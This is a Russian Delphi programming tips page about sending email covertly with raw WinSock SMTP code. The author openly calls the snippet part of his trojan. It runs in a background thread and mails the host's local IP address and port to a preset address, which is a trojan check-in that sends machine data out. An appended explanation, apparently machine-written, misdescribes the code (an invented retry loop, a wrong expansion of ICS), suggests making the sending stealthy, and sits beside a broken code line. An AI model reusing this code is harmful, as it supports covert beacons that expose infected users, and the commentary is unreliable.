Отправить Email скрытно от пользователя

Delphi , Интернет и Сети , E-mail

Автор: Павел

Ну если не устраивает дельфовый SMTP клиент...

Вот вам кусок,написанный на WinSock API пробуйте разобраться... это будет посложнее чем компоненты от NetMasters юзать... (Все это исполнялось в отдельном трейде,не забудьте про WSAStartUp/ClenUp) (каюсь, это кусок из моего трояна :)

function SMTPRecvReply(MailSocket: TSocket): Word;
var
  Buffer: array[1..1024] of Byte;
  Err: Integer;
  BufStr: string;
begin
  BufStr := '';
  Recv(MailSocket, Buffer, SizeOf(Buffer), 0);
  for Err := 1 to 3 do
    BufStr := BufStr + Chr(buffer[Err]);
  try
    Result := StrToInt(BufStr);
  except
    Result := 0;
  end;
end;

function SMTPSendString(MailSocket: TSocket; Str: string): Boolean;
var
  Buffer: array[1..1024] of Byte;
  Err: Integer;
begin
  Result := FALSE;
  ZeroMemory(@Buffer, SizeOf(Buffer));
  if Length(Str) > 1000 then
    Exit;
  for Err := 1 to Length(Str) do
    Buffer[Err] := Ord(Str[Err]);
  Buffer[Err] := 13;
  Buffer[Err + 1] := 10;
  Err := WinSock.send(MailSocket, buffer, Err + 1, 0);
  if Err > 0 then
    Result := TRUE;
end;

function SMTPConnectAndSendMail(Arg: Pointer): DWord; stdcall;
var
  MailSocket: TSocket;
  MailSent: Boolean;
  MTime: TSystemTime;
  SMTPServer: TSockAddrIn;
  Step: Byte;
  OutOfSend: Boolean;
begin
  MailSent := FALSE;
  OutOfSend := FALSE;
  MailSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  ZeroMemory(@SMTPServer, SizeOf(SMTPServer));
  SMTPServer.sin_family := AF_INET;
  SMTPServer.sin_port := htons(25);
  SMTPServer.sin_addr.S_addr := inet_addr(PChar(smtp));
  Step := 0;
  if Connect(MailSocket, SMTPServer, SizeOf(SMTPServer)) = 0 then
    repeat
      case SMTPRecvReply(MailSocket) of
        220: SMTPSendString(MailSocket, 'HELO server.com');
        250: case STEP of
            0:
              begin
                SMTPSendString(MailSocket, 'MAIL FROM:' + mail);
                Inc(Step);
              end;
            1:
              begin
                SMTPSendString(MailSocket, 'RCPT TO:' + mail);
                Inc(Step);
              end;
            2:
              begin
                SMTPSendString(MailSocket, 'DATA');
                Inc(Step);
              end;
            3:
              begin
                SMTPSendString(MailSocket, 'QUIT');
                Inc(Step);
              end;
          end;
        354:
          begin
            SMTPSendString(MailSocket, 'From:' + ServerID);
            SMTPSendString(MailSocket, 'To:' + UserName);
            SMTPSendString(MailSocket, 'Subject:' + LocalIPS + ' : ' + port +
              ' At ' + DateTimeToStr(Now));
            SMTPSendString(MailSocket, CRLF);
            for count := 1 to (txt.Count - 1) do
              SMTPSendString(MailSocket, txt[count]);
            SMTPSendString(MailSocket, CRLF + '.' + CRLF);
          end;
        221:
          begin
            OutOfSend := True;
            MailSent := True
          end;
      else
        OutOfSend := True;
        file: //!Case
      end;
    until OutOfSend;
  CloseSocket(MailSocket);
end;
ExitThread(0);
end;

Программный код на языке Delphi, который реализует простой клиент SMTP с использованием API WinSock. Функция SMTPConnectAndSendMail подключается к серверу SMTP, отправляет сообщение электронной почты и затем закрывает соединение.

Разбивка кода:

1. SMTPRecvReply: функция получает ответ от сервера SMTP и парсит его для извлечения кода ответа (например, 220, 250 и т.д.). Она также обрабатывает ошибки, повторяя попытку до трех раз.
2. SMTPSendString: функция отправляет строковое сообщение на сервер SMTP с помощью функции send API WinSock.
3. SMTPConnectAndSendMail: это основная функция, которая подключается к серверу SMTP и отправляет сообщение электронной почты.

Функция:

• Создает соединение сокета с сервером SMTP
• Отправляет команду "HELO" для приветствия сервера
• Отправляет команду "MAIL FROM:" для указания адреса отправителя электронной почты
• Отправляет команду "RCPT TO:" для указания адреса получателя электронной почты
• Отправляет команду "DATA" для начала отправки тела сообщения электронной почты
• Отправляет тело сообщения электронной почты, включая заголовки и текстовый контент
• Отправляет строку "." для указания конца сообщения
• Закрывает соединение

Код также включает в себя механизмы обработки ошибок и повторных попыток для обхода потенциальных ошибок во время SMTP-конверсации.

Если вы хотите отправлять электронные письма "тайно" из точки зрения пользователя, этот код не достигает этого цели. Электронное письмо отправляется явно, вызывая функцию SMTPConnectAndSendMail, которая может быть видна или доступна пользователю в зависимости от того, как она реализована в более широком приложении.

Если вы хотите отправлять электронные письма без уведомления пользователя, вам нужно модифицировать код для выполнения асинхронно и скрытия любых запросов или уведомлений от пользователя. Вы также можете рассмотреть использование третьей-сторонней библиотеки или сервиса, который обеспечивает болееadvanced capabilities отправки электронной почты с лучшей поддержкой для stealthy операции.

Обратите внимание, что это старый код на Delphi, и рекомендуется использовать более современные и безопасные библиотеки или фреймворки для коммуникации по электронной почте, такие как Indy (Indy SMTP Client) или iCS (Internet Connection Sharing).

Отправка электронной почты с помощью WinSock API, представленная в статье, позволяет скрыть адрес электронной почты от пользователя.

Комментарии и вопросы

Получайте свежие новости и обновления по Object Pascal, Delphi и Lazarus прямо в свой смартфон. Подпишитесь на наш Telegram-канал delphi_kansoftware и будьте в курсе последних тенденций в разработке под Linux, Windows, Android и iOS

:: Главная :: E-mail ::